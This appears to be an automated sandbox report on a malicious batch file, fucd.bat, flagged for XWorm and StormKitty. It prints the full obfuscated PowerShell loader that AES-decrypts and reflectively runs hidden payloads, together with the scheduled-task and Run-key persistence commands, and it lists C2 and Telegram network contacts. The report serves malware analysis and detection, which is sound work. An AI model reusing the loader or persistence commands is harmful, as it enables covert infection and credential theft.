Analysis Overview
SHA256
d99c6c1c94c6a80fb4fefc6fea48f7cd60b2044fdd762b87268979b876e8630a
Threat Level: Known bad
The file fucd.bat was found to be: Known bad.
Malicious Activity Summary
StormKitty
Detect Xworm Payload
StormKitty payload
Xworm
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Modifies registry class
Uses Task Scheduler COM API
Delays execution with timeout.exe
Suspicious use of SetWindowsHookEx
Creates scheduled task(s)
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-05-15 20:00
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-15 20:00
Reported
2024-05-15 20:03
Platform
win7-20240508-en
Max time kernel
119s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1868 wrote to memory of 2512 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1868 wrote to memory of 2512 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1868 wrote to memory of 2512 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1868 wrote to memory of 2860 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1868 wrote to memory of 2860 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1868 wrote to memory of 2860 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fucd.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/wkSd7mhnkfpRY0anhVgrdAJvrdw7EuxuaV723u+QQ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('23LFaEnOGC2Kn1BuLpugew=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qkJiQ=New-Object System.IO.MemoryStream(,$param_var); $mkJRJ=New-Object System.IO.MemoryStream; $kLcBz=New-Object System.IO.Compression.GZipStream($qkJiQ, [IO.Compression.CompressionMode]::Decompress); $kLcBz.CopyTo($mkJRJ); $kLcBz.Dispose(); $qkJiQ.Dispose(); $mkJRJ.Dispose(); $mkJRJ.ToArray();}function execute_function($param_var,$param2_var){ $EHhuG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uStok=$EHhuG.EntryPoint; $uStok.Invoke($null, $param2_var);}$PQjqT = 'C:\Users\Admin\AppData\Local\Temp\fucd.bat';$host.UI.RawUI.WindowTitle = $PQjqT;$ZwhMN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PQjqT).Split([Environment]::NewLine);foreach ($SPJNj in $ZwhMN) { if ($SPJNj.StartsWith('NielkCnVHAePglAzESTy')) { $GbVlh=$SPJNj.Substring(20); break; }}$payloads_var=[string[]]$GbVlh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile
Network
Files
memory/2860-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp
memory/2860-5-0x000000001B5B0000-0x000000001B892000-memory.dmp
memory/2860-6-0x0000000002890000-0x0000000002898000-memory.dmp
memory/2860-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2860-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
memory/2860-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-15 20:00
Reported
2024-05-15 20:03
Platform
win10v2004-20240226-en
Max time kernel
144s
Max time network
154s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
StormKitty
StormKitty payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Local.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Local = "C:\\Users\\Public\\Local.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Public\Local.exe | N/A |
| N/A | N/A | C:\Users\Public\Local.exe | N/A |
| N/A | N/A | C:\Users\Public\Local.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fucd.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/wkSd7mhnkfpRY0anhVgrdAJvrdw7EuxuaV723u+QQ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('23LFaEnOGC2Kn1BuLpugew=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qkJiQ=New-Object System.IO.MemoryStream(,$param_var); $mkJRJ=New-Object System.IO.MemoryStream; $kLcBz=New-Object System.IO.Compression.GZipStream($qkJiQ, [IO.Compression.CompressionMode]::Decompress); $kLcBz.CopyTo($mkJRJ); $kLcBz.Dispose(); $qkJiQ.Dispose(); $mkJRJ.Dispose(); $mkJRJ.ToArray();}function execute_function($param_var,$param2_var){ $EHhuG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uStok=$EHhuG.EntryPoint; $uStok.Invoke($null, $param2_var);}$PQjqT = 'C:\Users\Admin\AppData\Local\Temp\fucd.bat';$host.UI.RawUI.WindowTitle = $PQjqT;$ZwhMN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PQjqT).Split([Environment]::NewLine);foreach ($SPJNj in $ZwhMN) { if ($SPJNj.StartsWith('NielkCnVHAePglAzESTy')) { $GbVlh=$SPJNj.Substring(20); break; }}$payloads_var=[string[]]$GbVlh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_860_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_860.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_860.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_860.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/wkSd7mhnkfpRY0anhVgrdAJvrdw7EuxuaV723u+QQ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('23LFaEnOGC2Kn1BuLpugew=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qkJiQ=New-Object System.IO.MemoryStream(,$param_var); $mkJRJ=New-Object System.IO.MemoryStream; $kLcBz=New-Object System.IO.Compression.GZipStream($qkJiQ, [IO.Compression.CompressionMode]::Decompress); $kLcBz.CopyTo($mkJRJ); $kLcBz.Dispose(); $qkJiQ.Dispose(); $mkJRJ.Dispose(); $mkJRJ.ToArray();}function execute_function($param_var,$param2_var){ $EHhuG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uStok=$EHhuG.EntryPoint; $uStok.Invoke($null, $param2_var);}$PQjqT = 'C:\Users\Admin\AppData\Roaming\Windows_Log_860.bat';$host.UI.RawUI.WindowTitle = $PQjqT;$ZwhMN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PQjqT).Split([Environment]::NewLine);foreach ($SPJNj in $ZwhMN) { if ($SPJNj.StartsWith('NielkCnVHAePglAzESTy')) { $GbVlh=$SPJNj.Substring(20); break; }}$payloads_var=[string[]]$GbVlh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Local" /tr "C:\Users\Public\Local.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1340 --field-trial-handle=2276,i,5697607538120380977,9987005253899555344,262144 --variations-seed-version /prefetch:8
C:\Users\Public\Local.exe
C:\Users\Public\Local.exe
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "Local"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF8CE.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| GB | 142.250.187.234:443 | tcp | |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 195.88.218.231:7001 | tcp | |
| US | 8.8.8.8:53 | 231.218.88.195.in-addr.arpa | udp |
| US | 195.88.218.231:7001 | tcp | |
| US | 195.88.218.231:7001 | tcp | |
| US | 8.8.8.8:53 | 44.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.173.189.20.in-addr.arpa | udp |
Files
memory/1388-0-0x00007FF971183000-0x00007FF971185000-memory.dmp
memory/1388-1-0x000001D69F390000-0x000001D69F3B2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2xmp3bgd.ltc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1388-11-0x000001D69F7B0000-0x000001D69F7F4000-memory.dmp
memory/1388-12-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/1388-13-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/1388-14-0x000001D69F800000-0x000001D69F876000-memory.dmp
memory/1388-15-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/1388-16-0x000001D69D190000-0x000001D69D198000-memory.dmp
memory/1388-17-0x000001D69F540000-0x000001D69F566000-memory.dmp
memory/4660-28-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/4660-29-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/4660-30-0x00007FF971180000-0x00007FF971C41000-memory.dmp
memory/4660-33-0x00007FF971180000-0x00007FF971C41000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\Windows_Log_860.vbs
| MD5 | af6f0a03c074b18b776e3398ea213214 |
| SHA1 | e9b9ef1cc560b6394b5b09d4f9873737b6855979 |
| SHA256 | db6dfe8e53bf8884777c151961376a46e7df4670789080d6e944579fca07c340 |
| SHA512 | a0d3aae5394b043a86fceed6d876cd30819c1b8801021871b11062e47c404ebc1c45077a9aea3da8afe2a057500ab76dc27a7806d7d45bd0f3c63bb59bf5fc98 |
C:\Users\Admin\AppData\Roaming\Windows_Log_860.bat
| MD5 | 5343a4d966678336b2cb030c219b51d3 |
| SHA1 | 5bf28d007b02053f350c007911a55b9696768b45 |
| SHA256 | d99c6c1c94c6a80fb4fefc6fea48f7cd60b2044fdd762b87268979b876e8630a |
| SHA512 | 2f29a34333c17c21e64df797a79ecf3f37d0b2f96839e5bed2b1ce7f3f7b14e4b7f276d343c0c8eac2e3c5e56287b57474831c1ed7debf064bc9d108b7553d63 |
memory/1388-41-0x00007FF971180000-0x00007FF971C41000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 005bc2ef5a9d890fb2297be6a36f01c2 |
| SHA1 | 0c52adee1316c54b0bfdc510c0963196e7ebb430 |
| SHA256 | 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d |
| SHA512 | f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22 |
memory/2040-52-0x000001BFBAE50000-0x000001BFBAE76000-memory.dmp
memory/2040-53-0x000001BFBAEC0000-0x000001BFBAED8000-memory.dmp
memory/2040-56-0x000001BFBB3A0000-0x000001BFBB4C0000-memory.dmp
memory/2040-59-0x000001BFBAF20000-0x000001BFBAF2C000-memory.dmp
C:\Users\Public\Local.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
C:\Users\Admin\AppData\Local\Temp\tmpF8CE.tmp.bat
| MD5 | 2b694ed799e89d7f9b44d46e3b27b93c |
| SHA1 | da09c0eb8e11097889c680d7af334a6ab3fe871d |
| SHA256 | 5b3997e29137db4ef4d3eeff6be419118a55422356f1295fea520b1d5673fa2e |
| SHA512 | 1674a9962c9a9660de9c4b4cc7fec2de0b9c61825b50be61bb0ce3a9b889ce8995fa69ea8cf47d2d4eb454e73cff6fa339500894a02b386ced36fed615d9c2b1 |